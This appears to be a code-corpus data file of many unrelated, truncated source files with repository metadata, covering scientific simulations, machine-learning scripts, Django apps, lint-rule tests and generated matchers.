TensorOrTupleOfTensors = TypeVar("TensorOrTupleOfTensors", Tensor, Tuple[Tensor, ...])
| [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
e884b70fb8875cb5156cdd32a68ec81bf6f66c3a | 887f2e664c6d92f17e784f57022333a2fb859d06 | /analysis/movement/simulations/environment/corRandomWalk.py | c37a667315d4572c18afc2474959883eab4c4f49 | [] | no_license | ctorney/dolphinUnion | 1968e258c6045060b2c921bd723d0ef0daea0147 | 9d7212d172a8a48a36fc4870fcdb04d66130bb76 | refs/heads/master | 2021-01-19T04:40:57.286526 | 2017-08-17T20:44:58 | 2017-08-17T20:44:58 | 46,424,670 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 647 | py |
import os
import math
from datetime import datetime
from pymc import *
from numpy import array, empty
from numpy.random import randint, rand
from pymc.Matplot import plot as mcplot
import matplotlib
import numpy as np
import matplotlib.pyplot as plt
__all__ = ['rho_m','mvector']
rho_m = Uniform('rho_m',lower=0, up... | [
"colin.j.torney@gmail.com"
] | colin.j.torney@gmail.com |
6cb23354874ab12833703e281c29fc08f5149030 | 1d0de24db60e1c58c97fa4dfb74512bed27cc3cd | /test/TestSudoRule.py | 14467319320884e3847d5bcdd5e0b27ee80dc1a3 | [] | no_license | rsumner31/ansible-lint | b45a763dae0c1c259f440e743d1e580087b3ce17 | d93270db32b49496239f0cb17ab91a4e18b84212 | refs/heads/master | 2021-01-25T13:58:41.059261 | 2018-03-08T14:29:07 | 2018-03-08T14:29:07 | 123,634,287 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,010 | py | import unittest
from ansiblelint.rules.SudoRule import SudoRule
import ansiblelint.utils
class TestSudoRule(unittest.TestCase):
simple_dict_yaml = {
'value1': '{foo}}',
'value2': 2,
'value3': ['foo', 'bar', '{baz}}'],
'value4': '{bar}',
'value5': '{{baz}',
}
def s... | [
"rsumner31@gmail.com"
] | rsumner31@gmail.com |
fdf9724d91144de22b37ec8bab08482eded98593 | 97c2609a6bb0c8fa4d87b088e9839123873a368b | /Chapter03/nmf_newsgroups.py | 294710014b1a3bcca57018bc7c08fdb843651f5f | [] | no_license | fenago/python-machine-learning-by-example | ebcd341932d27d812c0b98575842ed0fbb2f188a | 8216ccc248027508da9df135b57c8f9f9e523316 | refs/heads/master | 2020-12-12T15:43:28.294734 | 2020-01-14T19:56:47 | 2020-01-14T19:56:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,475 | py | # %%
'''
Source codes for Python Machine Learning By Example 2nd Edition (Packt Publishing)
Chapter 3: Mining the 20 Newsgroups Dataset with Clustering and Topic Modeling Algorithms
Author: Yuxi (Hayden) Liu
'''
# %%
from sklearn.datasets import fetch_20newsgroups
categories = [
'alt.atheism',
'talk.religion.... | [
"31277617+athertahir@users.noreply.github.com"
] | 31277617+athertahir@users.noreply.github.com |
4b9c3852748165236aefb0e401cd7d229bbf6973 | f445450ac693b466ca20b42f1ac82071d32dd991 | /generated_tempdir_2019_09_15_163300/generated_part001128.py | 6b6f8d5419e3cf14f30bcb280200da32cd1cabc2 | [] | no_license | Upabjojr/rubi_generated | 76e43cbafe70b4e1516fb761cabd9e5257691374 | cd35e9e51722b04fb159ada3d5811d62a423e429 | refs/heads/master | 2020-07-25T17:26:19.227918 | 2019-09-15T15:41:48 | 2019-09-15T15:41:48 | 208,357,412 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,829 | py | from sympy.abc import *
from matchpy.matching.many_to_one import CommutativeMatcher
from matchpy import *
from matchpy.utils import VariableWithCount
from collections import deque
from multiset import Multiset
from sympy.integrals.rubi.constraints import *
from sympy.integrals.rubi.utility_function import *
from sympy.... | [
"franz.bonazzi@gmail.com"
] | franz.bonazzi@gmail.com |
b8837011401b7d9aa789df32757b889706c39a40 | 3261ff6f0df713a2939bc6f3664e959f52728c47 | /RL/problems/vrp/encode-attend-navigate/data_generator.py | e5ea5425de4eb3924bf914a288be6c4cbb3e188e | [
"Apache-2.0"
] | permissive | ChanaRoss/Thesis | 0057c710e8ce3abd3edbf7c4a4ef6a986d702142 | 39ab83d52055d401a3bb71da25b3458ad9196ecd | refs/heads/master | 2022-12-03T21:05:55.269387 | 2020-02-02T19:52:28 | 2020-02-02T19:52:28 | 145,448,655 | 0 | 0 | Apache-2.0 | 2022-11-22T04:10:19 | 2018-08-20T17:20:11 | Python | UTF-8 | Python | false | false | 4,401 | py | #-*- coding: utf-8 -*-
import numpy as np
import matplotlib.pyplot as plt
import math
from sklearn.decomposition import PCA
# Compute a sequence's reward
def reward(tsp_sequence):
tour = np.concatenate((tsp_sequence, np.expand_dims(tsp_sequence[0],0))) # sequence to tour (end=start)
inter_city_distances = np.... | [
"chanaby@gmail.com"
] | chanaby@gmail.com |
269bf411144fa08de6cff481f916da7b035ecaf5 | 14d5b51a68377fca1066f2331c720ce279d608ba | /demium/turtle03.py | cd65d39b7f127f95b43caa56ddb4a7fbea6fb0f1 | [] | no_license | pigmonchu/queesesodeprogramar201905 | 84c5853a53c3b24a37664ff17a746a74a4a03dcd | dcfc8775562c249822f75fdba1c72314be852425 | refs/heads/master | 2020-05-25T21:59:27.488549 | 2019-05-23T18:00:53 | 2019-05-23T18:00:53 | 188,008,711 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 133 | py | import turtle
mitortuga = turtle.Turtle()
for v in range(3):
mitortuga.forward(100)
mitortuga.left(120)
print("sacabó")
| [
"monterdi@gmail.com"
] | monterdi@gmail.com |
a6b8c545ffbf63e9b541c747a04cde33abac8c33 | cad91ae76d2746a6c28ddda0f33a58f9d461378f | /PaddlePaddle/LanguageModeling/BERT/run_squad.py | 48d2694a5913459a508b0a0012e8030fdd91c083 | [] | no_license | NVIDIA/DeepLearningExamples | fe677521e7e2a16e3cb0b77e358f9aab72f8c11a | a5388a45f71a949639b35cc5b990bd130d2d8164 | refs/heads/master | 2023-08-31T20:57:08.798455 | 2023-08-23T10:09:12 | 2023-08-23T10:09:12 | 131,881,622 | 11,838 | 3,124 | null | 2023-08-28T16:57:33 | 2018-05-02T17:04:05 | Jupyter Notebook | UTF-8 | Python | false | false | 13,459 | py | # Copyright (c) 2022 NVIDIA Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | [
"kkudrynski@nvidia.com"
] | kkudrynski@nvidia.com |
9cbda643914139943c128f3298888852afbdef82 | e60dd32858b162eb28e673ac9cfdb1b2a403c695 | /fibonocci.first.py | dc7041daa7d965b3c40d91bb63972d292280f567 | [] | no_license | Hemanthtm2/playing_python | 8d3419a46d50b2801283aa020be89a8003d4ad31 | cb896916c6d84c564f7036a4ed6a2a5481bf2fd6 | refs/heads/master | 2020-05-23T13:10:51.753218 | 2019-02-20T21:52:34 | 2019-02-20T21:52:34 | 186,767,575 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 191 | py | #!/usr/bin/python
def fibonocci(N):
result=[0]
next_n=1
while next_n<=N:
result.append(next_n)
next_n=sum(result[-2:])
return result
print(fibonocci(5))
| [
"hemanthtm2@gmail.com"
] | hemanthtm2@gmail.com |
2b3abc2bfaf6f4eaa531107c4be9afc2935e79de | 09e57dd1374713f06b70d7b37a580130d9bbab0d | /data/p3BR/R1/benchmark/startCirq232.py | deffae8da6e2df684e025e062849c9587489444e | [
"BSD-3-Clause"
] | permissive | UCLA-SEAL/QDiff | ad53650034897abb5941e74539e3aee8edb600ab | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | refs/heads/main | 2023-08-05T04:52:24.961998 | 2021-09-19T02:56:16 | 2021-09-19T02:56:16 | 405,159,939 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,246 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 5/15/20 4:49 PM
# @File : grover.py
# qubit number=3
# total number=42
import cirq
import cirq.google as cg
from typing import Optional
import sys
from math import log2
import numpy as np
#thatsNoCode
from cirq.contrib.svg import SVGCircuit
# Symbols for... | [
"wangjiyuan123@yeah.net"
] | wangjiyuan123@yeah.net |
332fbf37625afcac99bdad7c3e4db50d1a929ccc | 091ed86e7626631abac74883517a4aa570015eec | /learner/myo_armband/myo_classifier.py | a0162accb3ac44354b9ebf60b97df6b2b8bbe6f0 | [] | no_license | atyshka/Synthe | 6638bc359c32639f5f20b4a6ee528d4211fc4d3d | 7381f0a432e0bbd24aa5b000c33a7ad62c93b2ff | refs/heads/master | 2022-02-23T14:04:50.117250 | 2019-10-31T15:08:45 | 2019-10-31T15:08:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,117 | py | from PyQt5.QtCore import Qt, QThread, pyqtSignal
from sklearn import svm
from myo_armband.preprocessor import *
from myo_armband.get_features import *
from myo_armband.chunk import *
from matplotlib import pyplot as plt
import numpy as np
import pickle
import operator
import _thread
import myo
import socket
import sele... | [
"dporfirio@wisc.edu"
] | dporfirio@wisc.edu |
4dc91b687564154218b8fe06f62f11d32dc9c5f4 | ff0c17789badd75559eb834fe039d4b4ab175ba8 | /pythonscript/x11-64-cpython/lib/python3.6/idlelib/editor.py | 855d375055653acd101970515c853243706c63af | [
"LicenseRef-scancode-python-cwi",
"LicenseRef-scancode-free-unknown",
"Python-2.0",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-unicode",
"BSD-3-Clause",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"OpenSSL",
"MIT"
] | permissive | studioschade/notebook_graph | 3f7555ab46167b050e461164c6b4a1525dc7df0c | 0fd159855fdd9c38a6dd293e5ec6164986ad6209 | refs/heads/master | 2022-10-23T23:54:54.467050 | 2018-10-14T08:10:18 | 2018-10-14T08:10:18 | 148,099,361 | 9 | 2 | MIT | 2022-10-10T20:16:48 | 2018-09-10T04:32:44 | Python | UTF-8 | Python | false | false | 66,123 | py | import importlib.abc
import importlib.util
import os
import platform
import re
import string
import sys
import tokenize
import traceback
import webbrowser
from tkinter import *
from tkinter.ttk import Scrollbar
import tkinter.simpledialog as tkSimpleDialog
import tkinter.messagebox as tkMessageBox
from idlelib.config... | [
"allen.schade@gmail.com"
] | allen.schade@gmail.com |
156d1d886c35c4d5e06431c611f6b9d4f7284e11 | 1259a9d69c65acdaaedd0c8c09f2489ec5825653 | /meeting/meeting/meeting/doctype/meeting_attendee/test_meeting_attendee.py | 16df189a1101bd9ac508d5a56ebd9ab02dacf983 | [
"MIT"
] | permissive | uamsheikh/frappe_apps | bbc5f4b43331a8785bacc415ccb3c56de4dcefd7 | 724fccc17be72f9003177f50ef99f9683dcaa51e | refs/heads/master | 2022-11-05T03:26:30.086564 | 2020-06-27T14:00:12 | 2020-06-27T14:00:12 | 275,549,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2020, Oza and Contributors
# See license.txt
from __future__ import unicode_literals
# import frappe
import unittest
class TestMeetingAttendee(unittest.TestCase):
pass
| [
"frappe@ubuntu.vm"
] | frappe@ubuntu.vm |
2c9213c4614ac86537b2ec5a039d54116d215e53 | 9331521b9000b23560939de083693b594a2b513e | /registro1.py | 51ae0ab908a821abae368aae90b56a28b0cf53eb | [] | no_license | stefifm/Guia18 | 141f94f12b2046453ebcddf73ba07b9402b3609c | bdc73563f130c05daad4e01a5730ac9029d47cef | refs/heads/master | 2022-12-12T23:18:20.340171 | 2020-09-10T03:21:55 | 2020-09-10T03:21:55 | 294,291,473 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 740 | py | #Definición del tipo registro Empleado
class Empleado:
pass
e1 = Empleado()
e1.legajo = 1
e1.nombre = "Stefania"
e1.sueldo = 250
print("El empleado es:",e1.legajo,"-",e1.nombre,"-",e1.sueldo)
e2 = Empleado()
e2.legajo = 2
e2.nombre = "Juan"
e2.sueldo = 350
print("El empleado es:",e2.legajo,"-",e2.nombre,"-",e... | [
"bruerastefania@gmail.com"
] | bruerastefania@gmail.com |
358cbad9fc22d8f3993566b5d3d9102c2eab5e86 | ef1bf421aca35681574c03014e0c2b92da1e7dca | /pyqode/core/backend/workers.py | 5c37fb94e4aa220fd8fdeac6bafbbf491745362a | [
"MIT"
] | permissive | pyQode/pyqode.core | 74e67f038455ea8cde2bbc5bd628652c35aff6eb | 0ffabebe4f0397d53429024f6f44db3fe97b0828 | refs/heads/master | 2020-04-12T06:36:33.483459 | 2020-01-18T14:16:08 | 2020-01-18T14:16:08 | 7,739,074 | 24 | 25 | MIT | 2020-01-18T14:16:10 | 2013-01-21T19:46:41 | Python | UTF-8 | Python | false | false | 8,151 | py | # -*- coding: utf-8 -*-
"""
This module contains the worker functions/classes used on the server side.
A worker is a function or a callable which receive one single argument (the
decoded json object) and returns a tuple made up of a status (bool) and a
response object (json serializable).
A worker is always tightly c... | [
"colin.duquesnoy@gmail.com"
] | colin.duquesnoy@gmail.com |
39b8cd68c9888b95f38c5e313bc8cf3feffb15f9 | f828cb00f5f821b69c5e3548a857c12635d1b2ac | /users/migrations/0002_auto_20200905_0858.py | 643a982b7bad3500815dbe7eee60d68d45079412 | [] | no_license | crowdbotics-apps/web-5-sept-dev-9946 | f2c8afe935daf78ea90d11f5ee62d7837e8b7e78 | 8ff1bc90ea4f09474ec577d32deeb5b966becfdb | refs/heads/master | 2022-12-14T19:20:22.807063 | 2020-09-05T08:58:01 | 2020-09-05T08:58:01 | 293,008,522 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 394 | py | # Generated by Django 2.2.16 on 2020-09-05 08:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='user',
name='name',
field=... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
f723001196d2a97fe02f6a3be2863ae6beda49bf | 077b90ebec87afc6595f5fa91aef8b096d6efe68 | /bpy_lambda/2.78/scripts/addons_contrib/archipack/archipack_2d.py | 912e3cb85eb1cbefa5ec97b3e109458011ad26f3 | [
"MIT"
] | permissive | dix-icomys/bpy_lambda | cd49275c1b09a82e5d34f3476eafcc568652418e | 805fc1ca3bf8e4612d90d2ab911549a2eb0fdd97 | refs/heads/master | 2021-05-11T07:54:47.344174 | 2018-01-24T14:36:16 | 2018-01-24T14:36:16 | 118,034,916 | 1 | 0 | null | 2018-01-24T14:36:17 | 2018-01-18T20:33:28 | Python | UTF-8 | Python | false | false | 25,323 | py | # -*- coding:utf-8 -*-
# ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# ... | [
"bencongdon96@gmail.com"
] | bencongdon96@gmail.com |
ab4de597c9771c520dc49d13bbd12dd3bc4e63a0 | e45d211a6dd0a72f5213d374f16e0e8a106c3888 | /Ventas/migrations/0049_auto__del_field_detallepedido_producto__add_field_detallepedido_produc.py | 9c1f12fcd5ba34e7236ac5457db852478d2bc727 | [] | no_license | porkilandia/Porkisoft | 38e12cf6406e8a48a3e68c08d9ddb33514f3809f | a4789b31a26d3a41c76ed012889c8e281c2f64b8 | refs/heads/master | 2016-09-06T16:33:48.545504 | 2016-01-14T00:45:59 | 2016-01-14T00:45:59 | 18,380,976 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,769 | py | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'DetallePedido.producto'
db.delete_column(u'Ventas_detal... | [
"jamen17@gmail.com"
] | jamen17@gmail.com |
6dba7695b5c411ffe5bba2822431ddc076661b74 | 85a9ffeccb64f6159adbd164ff98edf4ac315e33 | /pysnmp-with-texts/APPIAN-PPORT-DS3-MIB.py | f445c0f48597c55a696845bfdfbd819decb53c58 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | agustinhenze/mibs.snmplabs.com | 5d7d5d4da84424c5f5a1ed2752f5043ae00019fb | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | refs/heads/master | 2020-12-26T12:41:41.132395 | 2019-08-16T15:51:41 | 2019-08-16T15:53:57 | 237,512,469 | 0 | 0 | Apache-2.0 | 2020-01-31T20:41:36 | 2020-01-31T20:41:35 | null | UTF-8 | Python | false | false | 90,643 | py | #
# PySNMP MIB module APPIAN-PPORT-DS3-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/APPIAN-PPORT-DS3-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:23:51 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (defau... | [
"dcwangmit01@gmail.com"
] | dcwangmit01@gmail.com |
5c155b868ee0c4856ecc0b8e7a14ba9b9cfe2cac | e8f99a162207cba82d4e0f969d7bcdb2b9d8b522 | /otherdemo/ftp_demo/__init__.py | 3cff7662d274f147f242bae44aa822e1b1913a7f | [] | no_license | TesterCC/Python3Scripts | edb5446278ebf13edb64336001081941ca27d67d | 58be67e1ffc74ef50289a885aa4ad05f58e2c383 | refs/heads/master | 2023-08-30T21:16:38.328045 | 2023-08-17T11:23:08 | 2023-08-17T11:23:08 | 93,401,996 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 93 | py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'MFC'
__time__ = '2020-04-16 18:35' | [
"testerlyx@foxmail.com"
] | testerlyx@foxmail.com |
93f79c5052ac8f644cb111e6f3f2d17553864cc5 | aeeec9b63f46df4a3d1cab45456a2392b5ed37cf | /sale_variant_optional/__manifest__.py | fd19d4eead7d018782b6690bfec70ce8ea7c8558 | [] | no_license | davidsetiyadi/addons_v10 | c5d89a49784387cf38b65bb0898fce9f1e8da3be | 1d714436c5a262ac53928dbb9f30783a6c1efef2 | refs/heads/master | 2020-03-11T18:23:30.351820 | 2018-09-09T01:29:22 | 2018-09-09T01:29:22 | 130,176,045 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 731 | py | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
{
'name': 'Sales Varian Optional',
'version': '1.3',
'author': 'Davidsetiyadi@gmail.com',
'category': 'Custom Development',
'summary': 'Sale Orders Custom',
'description': """
Sales Custom
"""... | [
"davidsetiadi11@gmail.com"
] | davidsetiadi11@gmail.com |
8179e80d2393edfd0ad28dd067b73099cd6865bc | 80d3388c07986fa833237c4fc4cfd1555e2a6660 | /backend/src/posts/migrations/0009_auto_20201107_2044.py | 573af936d86f7285dbcdbd52ed91d063525ae4c5 | [] | no_license | Shoumik-Gandre/nitbits | 85bf24fcd5dee3d5a78af47a614a5921ae54ce89 | 996178e2047c33cd18879b32f47c10a8f0f39878 | refs/heads/master | 2023-01-18T17:19:54.122537 | 2020-11-20T07:59:49 | 2020-11-20T07:59:49 | 298,579,193 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | # Generated by Django 3.1.2 on 2020-11-07 15:14
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('posts', '0008_auto_20201107_2019'),
]
operations... | [
"shoumikgandre@gmail.com"
] | shoumikgandre@gmail.com |
e86499ea4fc0c88163a6335e6edc7bc79bb05c6c | cad1b3228893fc48c2314b1b5e1ac059bce85a9b | /tests/test_wcs.py | 7fb501c134fd38aa6d527021846bd05f5e25d5a5 | [
"BSD-2-Clause"
] | permissive | lsst-dm/Piff | f98e7ea28a894e3a14c59725a1eb439e7d61c7c3 | 86a55c1ac714e98e62b893287bd17daef27ec50e | refs/heads/master | 2022-09-20T00:32:19.026515 | 2022-09-07T18:35:27 | 2022-09-07T18:35:27 | 132,179,347 | 0 | 0 | null | 2018-05-04T19:11:32 | 2018-05-04T19:11:32 | null | UTF-8 | Python | false | false | 31,322 | py | # Copyright (c) 2016 by Mike Jarvis and the other collaborators on GitHub at
# https://github.com/rmjarvis/Piff All rights reserved.
#
# Piff is free software: Redistribution and use in source and binary forms
# with or without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redist... | [
"michael@jarvis.net"
] | michael@jarvis.net |
a73838ad362df6dfd8b2df0d0f6ba7496d2341ba | f3b233e5053e28fa95c549017bd75a30456eb50c | /p38a_input/L2I/2I-2G_wat_20Abox/set_1ns_equi_m.py | 1e43cc8c3673d70daa9f40858cbc9de076ab36bb | [] | no_license | AnguseZhang/Input_TI | ddf2ed40ff1c0aa24eea3275b83d4d405b50b820 | 50ada0833890be9e261c967d00948f998313cb60 | refs/heads/master | 2021-05-25T15:02:38.858785 | 2020-02-18T16:57:04 | 2020-02-18T16:57:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 923 | py | import os
dir = '/mnt/scratch/songlin3/run/p38a/L2I/wat_20Abox/ti_one-step/2I_2G/'
filesdir = dir + 'files/'
temp_equiin = filesdir + 'temp_equi_m.in'
temp_pbs = filesdir + 'temp_1ns_equi_m.pbs'
lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078]
for j... | [
"songlin3@msu.edu"
] | songlin3@msu.edu |
3bdc76473f870b3b0aa63589fca205e6569e2e3d | 450448e0ddb786fd13cfe9f6df5aa47573769fdc | /tripleaxisproject/gui/linedemo2.py | 0809d1b861a925677ef6d34dd3465aacecfa40a8 | [] | no_license | williamratcliff/tripleaxisproject | 70bbd9ab5f7f1d2f30ced18b0887e51a1e3551e8 | 8649730ccc03e7d172ad41db776e2df9b463f3d6 | refs/heads/master | 2021-01-19T20:18:25.875294 | 2018-09-12T20:43:46 | 2018-09-12T20:43:46 | 32,125,247 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,418 | py | import numpy as N
import pylab
import scipy.sandbox.delaunay as D
#import numpy.core.ma as ma
import matplotlib.numerix.ma as ma
from matplotlib.ticker import NullFormatter, MultipleLocator
from scipy.signal.signaltools import convolve2d
import scriptutil as SU
import re
import readicp
from matplotlib.ticker import Fo... | [
"william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32"
] | william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32 |
9f4d154a9495308fb461f2b73ecb205d9c46ad3f | 1b9075ffea7d4b846d42981b41be44238c371202 | /2008/stable/applications/util/boxes/actions.py | e301e1015b50bb091a10f3b1c2124d488e51b409 | [] | no_license | pars-linux/contrib | bf630d4be77f4e484b8c6c8b0698a5b34b3371f4 | 908210110796ef9461a1f9b080b6171fa022e56a | refs/heads/master | 2020-05-26T20:35:58.697670 | 2011-07-11T11:16:38 | 2011-07-11T11:16:38 | 82,484,996 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 429 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
from pisi.actionsapi import autotools
from pisi.actionsapi import pisitools
def build():
autotools.make()
def install():
pisitools.dobin(... | [
"MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2"
] | MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2 |
77f2ebc00a342191ec1b4e9fb07584a5b2555663 | 5456502f97627278cbd6e16d002d50f1de3da7bb | /content/test/gpu/page_sets/gpu_process_tests.py | b487446fbe91860729ab177e3680ff226cdc63fc | [
"BSD-3-Clause"
] | permissive | TrellixVulnTeam/Chromium_7C66 | 72d108a413909eb3bd36c73a6c2f98de1573b6e5 | c8649ab2a0f5a747369ed50351209a42f59672ee | refs/heads/master | 2023-03-16T12:51:40.231959 | 2017-12-20T10:38:26 | 2017-12-20T10:38:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,294 | py | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import sys
from telemetry.story import story_set as story_set_module
from telemetry.page import page_test
from gpu_tests import gpu_test_base
class... | [
"lixiaodonglove7@aliyun.com"
] | lixiaodonglove7@aliyun.com |
5a1c0a821c8b0cc7645bb835b8dfca67d0336984 | 52c3ef5ae2c86cbde6c46c7c8d225ddf165d0632 | /LBP/LBPFeatures.py | 6ea1ff584be3fb4112dc7a7a65e274c11af7a2a3 | [
"MIT"
] | permissive | joshlyman/TextureAnalysis | 7ae028584af6466cd96e207060a916611511d300 | bfbedbd53f62396fdef383408089b37e5ab511d0 | refs/heads/master | 2020-09-03T04:07:16.372160 | 2019-11-03T23:51:20 | 2019-11-03T23:51:20 | 219,382,186 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | import numpy
from skimage.feature import local_binary_pattern
def calcFeatures(img, nPoints, radius, method, nBins):
lbp = local_binary_pattern(img, nPoints, radius, method)
rawFeatures = numpy.histogram(lbp.ravel(), bins = nBins, range = (0, nBins), normed = True)
return rawFeatures[0] | [
"yanzhexu@asu.edu"
] | yanzhexu@asu.edu |
aa7f9bc5eae2e24c5566b4db520c1ddef3c6cac5 | dd8a4180d6b7fb80442703671a6aee38e20f3082 | /刷题/剑指offer/丑数.py | 32052fac32afd97a5ffa0a58b6cff3efe8e46d31 | [] | no_license | xiaokongkong/some-tricks-about-python | 57ffc8f36adc09a9299efebfa21abac6b347e032 | 63b1ad2e15f8eb1d4ba35e1dc220a02774441d41 | refs/heads/master | 2020-04-26T17:03:48.142452 | 2019-07-25T01:36:57 | 2019-07-25T01:36:57 | 173,700,595 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,188 | py | # 要求:只含有2、3、5因子的数是丑数,求第1500个丑数
# 思路: 按顺序保存已知的丑数,下一个是已知丑数中某三个数乘以2,3,5中的最小值
class Solution(object):
def nthUglyNumber(self, n):
ugly = [1]
t2 = t3 = t5 = 0
while len(ugly) < n:
while ugly[t2] * 2 <= ugly[-1]:
t2 += 1
print('1')
while ugly... | [
"huxuedan@iie.ac.cn"
] | huxuedan@iie.ac.cn |
90831f87bf4a4f63e529c86904ddeb6350975094 | c26cc5560731f52f89472b90d49ebc9f374cedda | /tictactoe/settings/local.example.py | 6e9853ad2cba038d271eefd31748f4479be59b58 | [] | no_license | caktus/ultimatetictactoe | 4525ebbe9c39212a4b9b233bd867a374b9ef7fce | c292d7032db6834c8995ed00df85780238c3785d | refs/heads/master | 2020-12-31T02:02:35.006412 | 2017-12-18T19:52:39 | 2017-12-18T19:52:39 | 28,979,982 | 4 | 1 | null | 2017-12-18T19:52:40 | 2015-01-08T18:35:35 | JavaScript | UTF-8 | Python | false | false | 62 | py | from tictactoe.settings.dev import *
# Override settings here | [
"victor@rochapps.com"
] | victor@rochapps.com |
281139e5f93d055419625798553bcabc61ec69c8 | 3b504a983f1807ae7c5af51078bfab8c187fc82d | /client/LifetimeController.py | 07254c86301eccc05758dc625a375436ea113d34 | [] | no_license | SEA-group/wowp_scripts | 7d35fd213db95ea6b3dbd1ec6d3e0f13de86ba58 | 2fe54a44df34f2dcaa6860a23b835dcd8dd21402 | refs/heads/master | 2021-09-07T23:10:13.706605 | 2018-03-02T17:23:48 | 2018-03-02T17:23:48 | 117,280,141 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,691 | py | # Embedded file name: scripts/client/LifetimeController.py
import GameEnvironment
from AvatarControllerBase import AvatarControllerBase
import BigWorld
class LifetimeController(AvatarControllerBase):
def __init__(self, owner):
super(LifetimeController, self).__init__(owner)
self._playerAvatar.eEnt... | [
"55k@outlook.com"
] | 55k@outlook.com |
fe8da6d90287137df4eb0800ea74553b963cdd72 | 3740659f09476c398d61acd7515079eeecf2e601 | /user/tests/test_http.py | 5238892213383e63482f2c36174e9816278cce09 | [] | no_license | soguazu/django-api-starter | 04f9edda815c6da04c46f23ab9f238ba0190cae9 | ced03a4568190ab7fedc0cbe9692e76de2c0e1db | refs/heads/master | 2022-11-11T05:46:57.291124 | 2020-06-26T13:34:45 | 2020-06-26T13:34:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,597 | py | from django.contrib.auth import get_user_model
from rest_framework import status
from rest_framework.reverse import reverse
from rest_framework.test import APITestCase
PASSWORD = 'pAssw0rd!'
def create_user(email='user@example.com', password=PASSWORD, **kwargs):
return get_user_model().objects.create_user(email,... | [
"danielale9291@gmail.com"
] | danielale9291@gmail.com |
da9bacdb7b3158f7ce3087bec785059619bbb1cc | 4dd2845936941bd727d6d950a2d1fe3875a15d59 | /runtests.py | b03d9952a863e5e8d809d293323e35edbd8b7173 | [
"BSD-2-Clause-Views"
] | permissive | alexforks/django-allowedsites | 10e6cc4b08c7180e8aada0376ff18e45a26a9709 | bd33483683fd6ab5bb39683a6e02b677a0faecce | refs/heads/master | 2023-03-29T09:33:25.902383 | 2021-04-03T15:49:51 | 2021-04-03T15:49:51 | 353,994,613 | 0 | 0 | NOASSERTION | 2021-04-03T15:01:06 | 2021-04-02T11:09:00 | Python | UTF-8 | Python | false | false | 1,075 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
from django.conf import settings
import django
def get_settings():
import test_settings
setting_attrs = {}
for attr in dir(test_settings):
if attr.isupper():
setting_attrs[attr] = getattr(test_settings, attr)
retur... | [
"keryn@kerynknight.com"
] | keryn@kerynknight.com |
